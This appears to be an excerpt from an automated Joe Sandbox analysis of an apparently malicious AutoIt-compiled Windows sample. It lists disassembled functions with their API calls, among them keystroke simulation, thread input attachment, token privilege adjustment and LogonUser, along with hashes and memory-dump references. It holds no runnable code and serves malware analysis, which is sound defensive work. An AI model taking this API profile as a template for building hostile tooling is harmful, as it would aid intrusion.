                                      Function 008CFBF0 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ProtectVirtual
                                      • String ID:
                                      • API String ID: 544645111-0
                                      • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                      • Instruction ID: 2d2461e9fba7e7ae3368ab62381cae905949a3a52f4c8ed8b903e4dac9a967a8
                                      • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                      • Instruction Fuzzy Hash: E331E270B00119DBE718DF58D484A69FBB2FF49304B2486A9E90ACB656D731EDC1DB80
                                      Function 008B686D Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B6832: LoadLibraryA.KERNEL32(kernel32.dll,?,?,008B687F,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B683E
                                        • Part of subcall function 008B6832: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 008B6850
                                        • Part of subcall function 008B6832: FreeLibrary.KERNEL32(00000000,?,?,008B687F,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B6862
                                      • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B689F
                                        • Part of subcall function 008B67FB: LoadLibraryA.KERNEL32(kernel32.dll,?,?,008F488B,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B6804
                                        • Part of subcall function 008B67FB: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 008B6816
                                        • Part of subcall function 008B67FB: FreeLibrary.KERNEL32(00000000,?,?,008F488B,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B6829
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Library$Load$AddressFreeProc
                                      • String ID:
                                      • API String ID: 2632591731-0
                                      • Opcode ID: 7fa90fe7c736b8e6916502760f461649833aea605cd1e4a81bfeb1dada1cca65
                                      • Instruction ID: fd65e2b6ab13b891be83b73d8541d9e22fbf9f7bc23e4139b21c4b109d6669e4
                                      • Opcode Fuzzy Hash: 7fa90fe7c736b8e6916502760f461649833aea605cd1e4a81bfeb1dada1cca65
                                      • Instruction Fuzzy Hash: B9110831600219AACF20BB78C802FED77A0FF54714F20843EF542E62C1FE7899159B62
                                      Function 008E83A2 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: __wsopen_s
                                      • String ID:
                                      • API String ID: 3347428461-0
                                      • Opcode ID: cb0a4d020d2f11597b7bef84246d0c0da95e55342c661bc54789b3d52bc51947
                                      • Instruction ID: 105bef88ea2ad8b67714d6952e07509189d714afb2512d7cec03b6cf7700d244
                                      • Opcode Fuzzy Hash: cb0a4d020d2f11597b7bef84246d0c0da95e55342c661bc54789b3d52bc51947
                                      • Instruction Fuzzy Hash: 29113671A0410AEFCF05DF99E94099E7BF4FF49314F104459F808EB312DA31DA118BA5
                                      Function 008DE592 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: b57b235cd232fbdcd3a3528690b4d16ba240885f741f3b82b206d8d3beab0f09
                                      • Instruction ID: 87d864e08796341081221179613998d470911dbdaa5a985d94ce93a33a084175
                                      • Opcode Fuzzy Hash: b57b235cd232fbdcd3a3528690b4d16ba240885f741f3b82b206d8d3beab0f09
                                      • Instruction Fuzzy Hash: 78F0D6325016249AD6213A6EAC05B5A3368FF4237CF100717F564D63C2EE7495028692
                                      Function 008E37B0 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 008E37E2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AllocateHeap
                                      • String ID:
                                      • API String ID: 1279760036-0
                                      • Opcode ID: b3e7dac2fe6afa7ee879455f727dfdc02629407dfd63165d51adfc1af6291ca0
                                      • Instruction ID: fcc38eeef3727fc94d8c0fe306a1f917db4b2da91a7a7558abf40ed6ddea8aa5
                                      • Opcode Fuzzy Hash: b3e7dac2fe6afa7ee879455f727dfdc02629407dfd63165d51adfc1af6291ca0
                                      • Instruction Fuzzy Hash: F2E065F121529467D62126679C0DF5A3758FB437F5F150536EC05D7991DF21CD0052E1
                                      Function 008B68DB Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                      Download Yara Rule
                                      APIs
                                      • FreeLibrary.KERNEL32(?,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B690F
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FreeLibrary
                                      • String ID:
                                      • API String ID: 3664257935-0
                                      • Opcode ID: b4be8b7e41d04f54d8bbdb56e655b14a99711919aadcd919516f644598cd353d
                                      • Instruction ID: 2bf1839899f9283c07abd7837e71567373dd7470999d9e22d21e800430e6a202
                                      • Opcode Fuzzy Hash: b4be8b7e41d04f54d8bbdb56e655b14a99711919aadcd919516f644598cd353d
                                      • Instruction Fuzzy Hash: ACF03971509716CFCB349F64D4948A2BBE4FF143293208A3EE1EAC2720D736A890DF00
                                      Function 008B47D0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 008B47EF
                                        • Part of subcall function 008B84E7: _wcslen.LIBCMT ref: 008B84FA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LongNamePath_wcslen
                                      • String ID:
                                      • API String ID: 541455249-0
                                      • Opcode ID: c34169097025d4a801bf1ae35be75cf71e7c6e017385ebead932539935dd8a8d
                                      • Instruction ID: 672873f8cf3d3412d96c53121fb56d2859d111cf002d275c6d5c4b8ac4bc1320
                                      • Opcode Fuzzy Hash: c34169097025d4a801bf1ae35be75cf71e7c6e017385ebead932539935dd8a8d
                                      • Instruction Fuzzy Hash: 79E0CD765011249BCB20929C9C05FEA77DDEFC8790F040071FD05D7244DDA0DD80C591
                                      Function 008F033B Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • CreateFileW.KERNELBASE(00000000,00000000,?,008F06A5,?,?,00000000,?,008F06A5,00000000,0000000C), ref: 008F0358
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateFile
                                      • String ID:
                                      • API String ID: 823142352-0
                                      • Opcode ID: 2a7555d43bd9e7d8b4410848e2dd832c54a45b4d4d85123f3d044fa58d503487
                                      • Instruction ID: 1fcda24f632130f45dc50fc02f76f197a73e3d94b9ac61775277742caebd60af
                                      • Opcode Fuzzy Hash: 2a7555d43bd9e7d8b4410848e2dd832c54a45b4d4d85123f3d044fa58d503487
                                      • Instruction Fuzzy Hash: 35D06C3205410DBFDF028F84DD06EDA3BAAFB4C714F014000BE1856020C732E821AB90
                                      Function 00BE2200 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                      Download Yara Rule
                                      APIs
                                      • Sleep.KERNELBASE(000001F4), ref: 00BE2211
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1741246029.0000000000BDF000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BDF000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_bdf000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Sleep
                                      • String ID:
                                      • API String ID: 3472027048-0
                                      • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                      • Instruction ID: 164910ec99277d2a2d402d6d667879a601fe0185c1fbf9c01d40be0e998479c5
                                      • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                      • Instruction Fuzzy Hash: BDE0E67594010DDFDB00EFB4D54969E7FF4EF04301F1001A1FD01D2280D7319D508A62

                                      Non-executed Functions

                                      Function 00949468 Relevance: 67.1, APIs: 36, Strings: 2, Instructions: 625windowkeyboardnativeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • NtdllDialogWndProc_W.NTDLL(?,0000004E,?,?,?,?,?,?), ref: 0094950C
                                      • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0094954D
                                      • GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00949591
                                      • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 009495BB
                                      • SendMessageW.USER32 ref: 009495E4
                                      • GetKeyState.USER32(00000011), ref: 0094967D
                                      • GetKeyState.USER32(00000009), ref: 0094968A
                                      • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 009496A0
                                      • GetKeyState.USER32(00000010), ref: 009496AA
                                      • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 009496DB
                                      • SendMessageW.USER32 ref: 00949702
                                      • SendMessageW.USER32(?,00001030,?,00947D85), ref: 0094980A
                                      • SetCapture.USER32(?), ref: 0094983C
                                      • ClientToScreen.USER32(?,?), ref: 009498A1
                                      • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 009498C8
                                      • ReleaseCapture.USER32 ref: 009498D3
                                      • GetCursorPos.USER32(?), ref: 0094990B
                                      • ScreenToClient.USER32(?,?), ref: 00949918
                                      • SendMessageW.USER32(?,00001012,00000000,?), ref: 00949972
                                      • SendMessageW.USER32 ref: 009499A0
                                      • SendMessageW.USER32(?,00001111,00000000,?), ref: 009499DD
                                      • SendMessageW.USER32 ref: 00949A0C
                                      • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00949A2D
                                      • SendMessageW.USER32(?,0000110B,00000009,?), ref: 00949A3C
                                      • GetCursorPos.USER32(?), ref: 00949A5A
                                      • ScreenToClient.USER32(?,?), ref: 00949A67
                                      • GetParent.USER32(?), ref: 00949A85
                                      • SendMessageW.USER32(?,00001012,00000000,?), ref: 00949AEC
                                      • SendMessageW.USER32 ref: 00949B1D
                                      • ClientToScreen.USER32(?,?), ref: 00949B76
                                      • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00949BA6
                                      • SendMessageW.USER32(?,00001111,00000000,?), ref: 00949BD0
                                      • SendMessageW.USER32 ref: 00949BF3
                                      • ClientToScreen.USER32(?,?), ref: 00949C40
                                      • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00949C74
                                        • Part of subcall function 008CADC4: GetWindowLongW.USER32(?,000000EB), ref: 008CADD2
                                      • GetWindowLongW.USER32(?,000000F0), ref: 00949CF7
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$ClientScreen$LongWindow$State$CaptureCursorMenuPopupTrack$DialogInvalidateNtdllParentProc_RectRelease
                                      • String ID: @GUI_DRAGID$F
                                      • API String ID: 1312020300-4164748364
                                      • Opcode ID: ca2eae421bb73363073b23bf4fe0815a37e334d73f0863b0ebcf82b1a8c30978
                                      • Instruction ID: eaa23ec4dbc4fbe38ca54bf9d48cf46ca0c550ccfd942a312015e66897741833
                                      • Opcode Fuzzy Hash: ca2eae421bb73363073b23bf4fe0815a37e334d73f0863b0ebcf82b1a8c30978
                                      • Instruction Fuzzy Hash: 1942B174608201AFDB25CF28C844FABBBE9FF4A314F104A19FA59872A0D771E951DF52
                                      Function 009447A8 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 00944828
                                      • SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 0094483D
                                      • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 0094485C
                                      • SendMessageW.USER32(?,00000148,00000000,00000000), ref: 00944880
                                      • SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 00944891
                                      • SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 009448B0
                                      • SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 009448E3
                                      • SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 00944909
                                      • SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 00944944
                                      • SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 0094498B
                                      • SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 009449B3
                                      • IsMenu.USER32(?), ref: 009449CC
                                      • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00944A27
                                      • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00944A55
                                      • GetWindowLongW.USER32(?,000000F0), ref: 00944AC9
                                      • SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 00944B18
                                      • SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00944BB7
                                      • wsprintfW.USER32 ref: 00944BE3
                                      • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00944BFE
                                      • GetWindowTextW.USER32(?,00000000,00000001), ref: 00944C26
                                      • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00944C48
                                      • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00944C68
                                      • GetWindowTextW.USER32(?,00000000,00000001), ref: 00944C8F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
                                      • String ID: %d/%02d/%02d
                                      • API String ID: 4054740463-328681919
                                      • Opcode ID: 1b2219adfbd71c4df62ce6f44f7f2e91daa5fa41ce4144f2c7ab20f0ea535ba7
                                      • Instruction ID: c57f1a050c610135c7dc3531297566038cb3c124c934f58672704a58335b8a7b
                                      • Opcode Fuzzy Hash: 1b2219adfbd71c4df62ce6f44f7f2e91daa5fa41ce4144f2c7ab20f0ea535ba7
                                      • Instruction Fuzzy Hash: 7712F071600214AFEB248F68CC49FAF7BB8FF85710F148629F916EA2E1DB749941DB50
                                      Function 008CEFAD Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131threadkeyboardwindowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 008CEFB7
                                      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 008CEFD4
                                      • IsIconic.USER32(00000000), ref: 008CEFDD
                                      • SetForegroundWindow.USER32(00000000), ref: 008CEFEF
                                      • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 008CF005
                                      • GetCurrentThreadId.KERNEL32 ref: 008CF00C
                                      • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 008CF018
                                      • AttachThreadInput.USER32(?,00000000,00000001), ref: 008CF029
                                      • AttachThreadInput.USER32(?,00000000,00000001), ref: 008CF031
                                      • AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 008CF039
                                      • SetForegroundWindow.USER32(00000000), ref: 008CF03C
                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 008CF055
                                      • keybd_event.USER32(00000012,00000000), ref: 008CF060
                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 008CF06A
                                      • keybd_event.USER32(00000012,00000000), ref: 008CF06F
                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 008CF078
                                      • keybd_event.USER32(00000012,00000000), ref: 008CF07D
                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 008CF087
                                      • keybd_event.USER32(00000012,00000000), ref: 008CF08C
                                      • SetForegroundWindow.USER32(00000000), ref: 008CF08F
                                      • AttachThreadInput.USER32(?,000000FF,00000000), ref: 008CF0AD
                                      • AttachThreadInput.USER32(?,00000000,00000000), ref: 008CF0B5
                                      • AttachThreadInput.USER32(00000000,000000FF,00000000), ref: 008CF0BD
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconic
                                      • String ID: Shell_TrayWnd
                                      • API String ID: 1155518417-2988720461
                                      • Opcode ID: e439e5b6f10d603a31c06694fcf2fdede4c8bf397d6d7d6d529b8657f616d1c9
                                      • Instruction ID: 6ff9637f61aef9530980dd6d3923faeacb3bbeb67ba0ff7bc8f8e16627022cbc
                                      • Opcode Fuzzy Hash: e439e5b6f10d603a31c06694fcf2fdede4c8bf397d6d7d6d529b8657f616d1c9
                                      • Instruction Fuzzy Hash: 30316FB5A55218BFFB202BA14C49F7F7E7DEB45B50F11002AFA01E61D2C7B19D00BA61
                                      Function 00911145 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 241COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00911607: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00911651
                                        • Part of subcall function 00911607: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0091167E
                                        • Part of subcall function 00911607: GetLastError.KERNEL32 ref: 0091168E
                                      • LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 009111CA
                                      • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 009111EC
                                      • CloseHandle.KERNEL32(?), ref: 009111FD
                                      • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00911215
                                      • GetProcessWindowStation.USER32 ref: 0091122E
                                      • SetProcessWindowStation.USER32(00000000), ref: 00911238
                                      • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00911254
                                        • Part of subcall function 00911003: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00911140), ref: 00911018
                                        • Part of subcall function 00911003: CloseHandle.KERNEL32(?,?,00911140), ref: 0091102D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
